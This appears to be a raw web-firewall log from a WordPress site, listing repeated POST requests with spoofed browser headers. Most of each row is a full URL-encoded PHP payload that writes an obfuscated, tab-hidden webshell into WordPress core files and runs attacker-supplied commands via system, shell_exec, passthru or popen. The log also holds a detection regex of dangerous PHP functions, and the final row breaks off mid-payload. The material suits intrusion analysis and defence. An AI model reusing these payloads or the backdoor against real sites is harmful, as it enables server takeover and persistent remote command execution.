IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524item1%2520%253D%2520%2527737%2527%253B%2524item2%2520%253D%2520%2527746%2527%253B%2524item3%2520%253D%2520%2527865%2527%253B%2524item4%2520%253D%2520%2527657%2527%253B%2524item5%2520%253D%2520%2527706%2527%253B%2524item6%2520%253D%2520%2527656%2527%253B%2524item7%2520%253D%2520%2527472%2527%253B%2524item8%2520%253D%2520%25275f6%2527%253B%2524item9%2520%253D%2520%2527765%2527%253B%2524item10%2520%253D%2520%2527745%2527%253B%2524item11%2520%253D%2520%2527f63%2527%253B%2524item12%2520%253D%2520%25276f6%2527%253B%2524item13%2520%253D%2520%2527e74%2527%253B%2524item14%2520%253D%2520%252736c%2527%253B%2524item15%2520%253D%2520%25276f7%2527%253B%2524item16%2520%253D%2520%2527070%2527%253B%2524item17%2520%253D%2520%2527f72%2527%253B%2524item18%2520%253D%2520%2527175%2527%253B%2524item19%2520%253D%2520%2527374%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item1.%2527973%2527.%2524item2.%252756d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524item3.%25276c6%2527.%2527c5f%2527.%2524item4.%2527865%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2527737%2527.%2527468%2527.%2527727%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2527f70%2527.%2524item6%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524item7.%2524item6.%252716d%2527.%2524item8.%2524item9.%2524item10.%2524item11.%2524item12.%2524item13.%2527656%2527.%2527e74%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2524item14.%2524item15.%2527365%2527%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527617%2527.%2524item16.%2527726%2527.%2527f76%2527.%2527655%2527.%2524item17.%2527657%2527.%2524item18.%2527657%2527.%2524item19%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524approve_request%252C%2524dat_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dat_desc%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524descriptor_binding%253D%2524right_pad_string5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524descriptor_binding%2529%257B%2524element_factor%253D%2524right_pad_string6%2528%2524descriptor_binding%2529%253B%2524right_pad_string7%2528%2524descriptor_binding%2529%253Bprint%2520%2524element_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-platform:\"Windows\"\ncontent-length:6244\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-site:none\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524item1%2520%253D%2520%2527737%2527%253B%2524item2%2520%253D%2520%2527746%2527%253B%2524item3%2520%253D%2520%2527865%2527%253B%2524item4%2520%253D%2520%2527657%2527%253B%2524item5%2520%253D%2520%2527706%2527%253B%2524item6%2520%253D%2520%2527656%2527%253B%2524item7%2520%253D%2520%2527472%2527%253B%2524item8%2520%253D%2520%25275f6%2527%253B%2524item9%2520%253D%2520%2527765%2527%253B%2524item10%2520%253D%2520%2527745%2527%253B%2524item11%2520%253D%2520%2527f63%2527%253B%2524item12%2520%253D%2520%25276f6%2527%253B%2524item13%2520%253D%2520%2527e74%2527%253B%2524item14%2520%253D%2520%252736c%2527%253B%2524item15%2520%253D%2520%25276f7%2527%253B%2524item16%2520%253D%2520%2527070%2527%253B%2524item17%2520%253D%2520%2527f72%2527%253B%2524item18%2520%253D%2520%2527175%2527%253B%2524item19%2520%253D%2520%2527374%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item1.%2527973%2527.%2524item2.%252756d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524item3.%25276c6%2527.%2527c5f%2527.%2524item4.%2527865%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2527737%2527.%2527468%2527.%2527727%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2527f70%2527.%2524item6%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524item7.%2524item6.%252716d%2527.%2524item8.%2524item9.%2524item10.%2524item11.%2524item12.%2524item13.%2527656%2527.%2527e74%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2524item14.%2524item15.%2527365%2527%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527617%2527.%2524item16.%2527726%2527.%2527f76%2527.%2527655%2527.%2524item17.%2527657%2527.%2524item18.%2527657%2527.%2524item19%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524approve_request%252C%2524dat_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dat_desc%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524descriptor_binding%253D%2524right_pad_string5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524descriptor_binding%2529%257B%2524element_factor%253D%2524right_pad_string6%2528%2524descriptor_binding%2529%253B%2524right_pad_string7%2528%2524descriptor_binding%2529%253Bprint%2520%2524element_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:55:52","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Of:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524item1%2520%253D%2520%2527737%2527%253B%2524item2%2520%253D%2520%2527746%2527%253B%2524item3%2520%253D%2520%2527865%2527%253B%2524item4%2520%253D%2520%2527657%2527%253B%2524item5%2520%253D%2520%2527706%2527%253B%2524item6%2520%253D%2520%2527656%2527%253B%2524item7%2520%253D%2520%2527472%2527%253B%2524item8%2520%253D%2520%25275f6%2527%253B%2524item9%2520%253D%2520%2527765%2527%253B%2524item10%2520%253D%2520%2527745%2527%253B%2524item11%2520%253D%2520%2527f63%2527%253B%2524item12%2520%253D%2520%25276f6%2527%253B%2524item13%2520%253D%2520%2527e74%2527%253B%2524item14%2520%253D%2520%252736c%2527%253B%2524item15%2520%253D%2520%25276f7%2527%253B%2524item16%2520%253D%2520%2527070%2527%253B%2524item17%2520%253D%2520%2527f72%2527%253B%2524item18%2520%253D%2520%2527175%2527%253B%2524item19%2520%253D%2520%2527374%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item1.%2527973%2527.%2524item2.%252756d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524item3.%25276c6%2527.%2527c5f%2527.%2524item4.%2527865%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2527737%2527.%2527468%2527.%2527727%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2527f70%2527.%2524item6%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524item7.%2524item6.%252716d%2527.%2524item8.%2524item9.%2524item10.%2524item11.%2524item12.%2524item13.%2527656%2527.%2527e74%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2524item14.%2524item15.%2527365%2527%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527617%2527.%2524item16.%2527726%2527.%2527f76%2527.%2527655%2527.%2524item17.%2527657%2527.%2524item18.%2527657%2527.%2524item19%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524approve_request%252C%2524dat_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dat_desc%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524descriptor_binding%253D%2524right_pad_string5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524descriptor_binding%2529%257B%2524element_factor%253D%2524right_pad_string6%2528%2524descriptor_binding%2529%253B%2524right_pad_string7%2528%2524descriptor_binding%2529%253Bprint%2520%2524element_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG2LvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:6221\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\n\nOf=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524item1%2520%253D%2520%2527737%2527%253B%2524item2%2520%253D%2520%2527746%2527%253B%2524item3%2520%253D%2520%2527865%2527%253B%2524item4%2520%253D%2520%2527657%2527%253B%2524item5%2520%253D%2520%2527706%2527%253B%2524item6%2520%253D%2520%2527656%2527%253B%2524item7%2520%253D%2520%2527472%2527%253B%2524item8%2520%253D%2520%25275f6%2527%253B%2524item9%2520%253D%2520%2527765%2527%253B%2524item10%2520%253D%2520%2527745%2527%253B%2524item11%2520%253D%2520%2527f63%2527%253B%2524item12%2520%253D%2520%25276f6%2527%253B%2524item13%2520%253D%2520%2527e74%2527%253B%2524item14%2520%253D%2520%252736c%2527%253B%2524item15%2520%253D%2520%25276f7%2527%253B%2524item16%2520%253D%2520%2527070%2527%253B%2524item17%2520%253D%2520%2527f72%2527%253B%2524item18%2520%253D%2520%2527175%2527%253B%2524item19%2520%253D%2520%2527374%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item1.%2527973%2527.%2524item2.%252756d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524item3.%25276c6%2527.%2527c5f%2527.%2524item4.%2527865%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2527737%2527.%2527468%2527.%2527727%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2527f70%2527.%2524item6%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524item7.%2524item6.%252716d%2527.%2524item8.%2524item9.%2524item10.%2524item11.%2524item12.%2524item13.%2527656%2527.%2527e74%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2524item14.%2524item15.%2527365%2527%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527617%2527.%2524item16.%2527726%2527.%2527f76%2527.%2527655%2527.%2524item17.%2527657%2527.%2524item18.%2527657%2527.%2524item19%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524approve_request%252C%2524dat_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dat_desc%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524descriptor_binding%253D%2524right_pad_string5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524descriptor_binding%2529%257B%2524element_factor%253D%2524right_pad_string6%2528%2524descriptor_binding%2529%253B%2524right_pad_string7%2528%2524descriptor_binding%2529%253Bprint%2520%2524element_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:55","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> FV:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/Status429.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524fac1%2520%253D%2520%25277%2527%253B%2524fac2%2520%253D%2520%25273%2527%253B%2524fac3%2520%253D%2520%25279%2527%253B%2524fac4%2520%253D%2520%25276%2527%253B%2524fac5%2520%253D%2520%2527c%2527%253B%2524fac6%2520%253D%2520%25275%2527%253B%2524fac7%2520%253D%2520%25278%2527%253B%2524fac8%2520%253D%2520%25270%2527%253B%2524fac9%2520%253D%2520%25272%2527%253B%2524fac10%2520%253D%2520%2527f%2527%253B%2524fac11%2520%253D%2520%25274%2527%253B%2524fac12%2520%253D%2520%2527e%2527%253B%2524fac13%2520%253D%2520%25271%2527%253B%2524api_gateway1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%2524fac3%2520.%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2529%253B%2524api_gateway2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%2524fac5%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%2524fac7%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25278%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%25273%2527%2529%253B%2524api_gateway4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25271%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%25277%2527%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%2524fac6%2529%253B%2524api_gateway5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%25270%2527%2520.%2520%2524fac4%2520.%2520%2524fac10%2520.%2520%2524fac1%2520.%2520%2524fac8%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%2524fac4%2520.%2520%2527e%2527%2529%253B%2524api_gateway6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25273%2527%2520.%2520%25277%2527%2520.%2520%2524fac11%2520.%2520%2524fac1%2520.%2520%25272%2527%2520.%2520%2524fac4%2520.%2520%25275%2527%2520.%2520%25276%2527%2520.%2520%25271%2527%2520.%2520%25276%2527%2520.%2520%2527d%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac1%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac6%2520.%2520%2527f%2527%2520.%2520%25276%2527%2520.%2520%2524fac2%2520.%2520%25276%2527%2520.%2520%2524fac10%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%25277%2527%2520.%2520%25274%2527%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%2524fac4%2520.%2520%2524fac12%2520.%2520%2524fac1%2520.%2520%25274%2527%2520.%2520%2524fac1%2520.%2520%2524fac2%2529%253B%2524api_gateway7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524fac1%2520.%2520%25270%2527%2520.%2520%25276%2527%2520.%2520%25273%2527%2520.%2520%25276%2527%2520.%2520%2527c%2527%2520.%2520%25276%2527%2520.%2520%2527f%2527%2520.%2520%25277%2527%2520.%2520%2524fac2%2520.%2520%2524fac4%2520.%2520%25275%2527%2529%253B%2524query_handler%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527%2520.%2520%2524fac13%2520.%2520%2524fac1%2520.%2520%2524fac6%2520.%2520%25276%2527%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%2524fac9%2520.%2520%2524fac1%2520.%2520%25279%2527%2520.%2520%25275%2527%2520.%2520%2524fac10%2520.%2520%25276%2527%2520.%2520%2524fac7%2520.%2520%25276%2527%2520.%2520%2524fac13%2520.%2520%2524fac4%2520.%2520%2527e%2527%2520.%2520%2524fac4%2520.%2520%2524fac11%2520.%2520%2524fac4%2520.%2520%2527c%2527%2520.%2520%2524fac4%2520.%2520%2524fac6%2520.%2520%25277%2527%2520.%2520%25272%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524query_handler%255D%2529%2529%257B%2524query_handler%253Dpack%